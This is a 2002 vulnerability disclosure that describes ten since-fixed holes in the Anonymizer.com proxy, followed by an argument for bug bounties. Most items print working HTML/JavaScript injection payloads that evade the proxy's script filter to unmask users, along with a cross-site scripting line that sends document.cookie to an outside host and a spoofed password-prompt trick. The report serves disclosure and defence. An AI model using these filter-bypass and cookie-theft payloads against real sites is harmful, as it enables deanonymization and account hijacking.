Report on 10 Security Holes in the Anonymizer

- Bennett Haselton
May 20, 2002

Anonymizer.com is the first and best-known service for surfing the Web anonymously, hiding your IP address from the site that you're visiting. When you view a page through the Anonymizer, their software is designed to modify or remove JavaScript and other HTML tags that could cause your browser to make a direct connection to the site you're viewing, which would defeat the anonymity of the service.

From May 11 to May 14 I tested the Anonymizer looking for security holes, and found about one exploit every one and a half hours that I was working on it, for a total of 10. Eight of these exploits were "unmasking" bugs that tricked the user's browser into making a direct connection. The 9th exploit could be used to steal a user's Anonymizer.com cookie (which could be used to compromise a person's paid Anonymizer account), and the 10th bug spoofs a password request that appears to come from the Anonymizer but really comes from a third-party site.

The development staff at Anonymizer.com has already fixed all of these exploits prior to the publication of this report. Their response to the initial report was extremely rapid, fixing all 10 of the exploits in just two days.

1. META HTTP-EQUIV redirects were not rewritten if the target URL contained a ">" character

If a page contained a tag such as

<META HTTP-EQUIV="REFRESH" CONTENT='0;URL=http://www.peacefire.org/anonymizer-demo/echoip.cgi?>'>

then the target URL would not be rewritten if it contained a ">" character, so the user's browser would connect directly to the target URL.

2. Special characters were not rewritten when generating absolute URLs from relative URLs

If you're viewing a page located at

http://www.peacefire.org/somedir/somefile.html

and you click on a relative link such as

<a href = "blah.html">blah</a>

then the browser resolves that relative link to an absolute link, and takes you to:

http://www.peacefire.org/somedir/blah.html

Anonymizer rewrites relative links to make them absolute links, and then rewrites them again to map them through the Anonymizer -- so if you were viewing the Anonymized page

http://anon.free.anonymizer.com/http://www.peacefire.org/somedir/somefile.html

then Anonymizer would have converted the "blah" link first to http://www.peacefire.org/somedir/blah.html , and then Anonymized it by rewriting it as

http://anon.free.anonymizer.com/http://www.peacefire.org/somedir/blah.html

The exploit is that when Anonymizer converted relative URLs to absolute ones, it did not rewrite special characters in the URL. So you could send the user's browser to a page located at:

http://www.peacefire.org/anonymizer-demo/a"></a><script>document.write(unescape("%3Cscript%3Edocument.location%3D%22http%3A//www.peacefire.org/anonymizer-demo/echoip.cgi%22%3B%3C/script%3E"));</script>/

where the only contents of that page were:

<a href = "blah">click</a>

Anonymizer would rewrite the link as:

<a href = "http://www.peacefire.org/anonymizer-demo/a"></a><script>document.write(unescape("%3Cscript%3Edocument.location%3D%22http%3A//www.peacefire.org/anonymizer-demo/echoip.cgi%22%3B%3C/script%3E"));</script>/blah">click</a>

thus injecting JavaScript into the page being viewed, and forcing a direct connection.

3. Links to hostnames containing "www.anonymizer.com" would not be rewritten, even if the host was actually outside the Anonymizer.com domain

If Anonymizer encounters a link to http://www.anonymizer.com/ on a Web page, it does not "anonymize" the link -- presumably to avoid rewriting links that the page author has already constructed to go through the Anonymizer. However, the bug in this implementation was that Anonymizer would let a link pass through unaltered if it contained "www.anonymizer.com" anywhere in the hostname, even if the machine was not in the Anonymizer.com domain. So a frame point to http://www.anonymizer.com.978.org/ would not be rewritten, making it possible to trick the user's browser into making a direct connection to a site not controlled by the Anonymizer.

4. <script> tags would not be rewritten inside <title> tags

The following HTML was not be rewritten by Anonymizer:

<title><script>document.location="http://www.peacefire.org/anonymizer-demo/echoip.cgi";</script></title>

However, the browser also ignores <script> that appear between <title> tags, so this was not sufficient to pass JavaScript through to the user's browser. But by commenting out the first <title> tag, you could cause the <script> tags to be left alone by Anonymizer, but still parsed by the browser:

<!--<title>--><script>document.location="http://www.peacefire.org/anonymizer-demo/echoip.cgi";</script></title>

5. Anonymizer-commented <script> tags could be closed with HTML comments in <script> properties

Opening and closing <script></script> tags would be converted to:

<!-- <anonymizer_disabled_SCRIPT></anonymizer_disabled_SCRIPT> -->

with everything in between them left unchanged. However, you could use an HTML closing comment tag "-->" to prematurely close the comments, so that any HTML to come afterward would be unchanged. So:

<script
src="blah-->"
>
<table width=300><tr><td height=100 background="http://www.peacefire.org/anonymizer-demo/direct-from-server-image.gif"></td></tr></table>

would be rewritten as:

<anonymizer_disabled_SCRIPT
src="blah-->"
>
<table width=300><tr><td height=100 background="http://www.peacefire.org/anonymizer-demo/direct-from-server-image.gif"></td></tr></table>

thus causing the browser to load the image http://www.peacefire.org/anonymizer-demo/direct-from-server-image.gif directly from the www.peacefire.org server. (For some reason, the URL in question had to be the BACKGROUND attribute of a "<TD>" tag; other attributes, such as the SRC attribute of an <IMG> tag, would be rewritten by the Anonymizer.)

6. Error in rewriting <APPLET> tags enabled placing of JavaScript on page

Due to a parsing error, Anonymizer would rewrite APPLET tags such as:

<applet codebase="blah">

as:

<anonymizer_disabled_APPLET codebase="blah>

-- leaving off the trailing '"' mark. This could be turned into an exploit using the following HTML code:

<applet codebase="abc "><a href = "><script>document.location='http://www.peacefire.org/holder/echoip.cgi';</script>">x</a>

Anonymizer would not alter the <script> tags because they appeared inside the quoted "HREF" attribute of an <A> tag. However, after Anonymizer rewrote the APPLET tag:

<anonymizer_disabled_APPLET codebase="abc ><a href = "http://anon.free.anonymizer.com/http://www.peacefire.org/demo/><script>document.location=
'http://www.peacefire.org/holder/echoip.cgi';</script>">x</a>

that would cause the first double-quote (in red above) to be matched up with the second double-quote (in blue above), thus putting the <script> tags outside of quotes and outside of the <A> tag, and causing them to be parsed by the browser.

7. Gzipped page contents were not parsed by the Anonymizer

HTML contents served using the

Content-type: text/html
Content-Encoding: gzip

encoding method, were not parsed by the Anonymizer, so JavaScript tags on those pages could be served to the user's browser. (Some Web servers serve text files using gzip encoding to compress the files and save bandwidth; the browser automatically decompresses the files as they are being downloaded. But the contents look like gibberish to anybody eavesdropping on the connection, which is why Anonymizer could not detect or rewrite the <script> tags.)

This only worked for HTML pages (such as frames) that were served through http://invis.free.anonymizer.com/ , which does not insert the standard Anonymizer header into every page. The fix was to have all HTML and text pages served through http://anon.free.anonymizer.com/ instead of Invis, so that the Anonymizer header would always be inserted into the page contents, and any gzip-encoded pages would be mangled by the insertion, and not displayed to the browser.

8. <script> tags were not rewritten if they contained a null character

Tags consisting of

<scr[null character]ipt>

were not stripped out by the Anonymizer, even though those script tags are recognized and parsed by Internet Explorer 6 (and possibly earlier versions).

9. Anonymizer servers were not properly escaping <script> tags on their "404 Not Found" pages, thus enabling an attacker to steal a user's Anonymizer.com cookie.

When a user accessed a nonexistent page on anon.free.anonymizer.com, anon.user.anonymizer.com or util.anonymizer.com, such as http://anon.free.anonymizer.com/doesnotexist, the Web server would print out a "Not Found" page that included the HTML code:

<b>File Not Found:</b> <SMALL><CODE>/doesnotexist</CODE></SMALL>

This made it possible to send the user's browser to a 404 Not Found page in the Anonymizer.com domain:

http://util.anonymizer.com/<script>window.open('http://www.peacefire.org/anonymizer-demo/demo9.cgi%3f'+escape(document.cookie));</script>

which would cause the following HTML to be printed, intercepting the user's Anonymizer.com cookie:

<b>File Not Found:</b> <SMALL><CODE>/<script>window.open('http://www.peacefire.org/anonymizer-demo/demo9.cgi%3f'+escape(document.cookie));</script></CODE></SMALL>

10. Password-protected pages would generate a password request that appeared to come from Anonymizer.com

Loading a password-protected page through the Anonymizer, such as
http://anon.free.anonymizer.com/http://www.peacefire.org/demo/
would cause a dialog box to open in Internet Explorer, prompting the user:

Connect to anon.free.anonymizer.com
Anonymizer Paid Users Only
User name:
Password:

The string "Anonymizer Paid Users Only", however, does not come from the Anonymizer but is supplied by the Web server when asking the user for a password to access the page. The dialog box is titled "Connect to anon.free.anonymizer.com" because the browser sees the password request coming from a page "located on" anon.free.anonymizer.com, even if that machine is really just forwarding the request from a third-party machine. What makes the password prompt "convincing" is that the dialog box says it is coming from anon.free.anonymizer.com, thus making an unwary user believe that Anonymizer was asking for the password, when it was actually the target Web site sending the request.

This was fixed by disallowing access through the Anonymizer to password-protected pages, until a more long-term solution is put in place.

Conclusion

I think that Anonymizer, as well as other companies promoting the security of their software, should consider offering cash prizes to members of the public who can find security holes (such as Netscape's Bugs Bounty program, which offers $1,000 for the discovery of any new security hole in Netscape 4 or 6). It might seem that I'm biased in favor of that approach since I'd stand to make some money, but actually, I don't think that I would have made any money at all -- if there were cash rewards offered for these types of security holes, then most of the major holes would have been found and fixed already, before I ever got to them. This is a good thing, since it would mean fewer security holes and greater safety for Internet users -- at a cost of only a few thousand dollars to the sponsoring company. Besides, if Microsoft, with their tens of billions of dollars, won't even offer $1,000 to anyone who can find a security hole in Internet Explorer, then how secure do they think it really is?

Offering cash prizes also minimizes the chances that security holes will exist in a product long enough for someone to find them who intends to use them for illegal purposes -- the odds are that a bug-hunter-for-hire would have found the flaw first. And even if a virus writer or other type of computer criminal did discover the exploit first, the odds are that they would report the exploit to the manufacturer and get the cash prize, unless they had a way to make more than $1,000 by using the discovery for something illegal.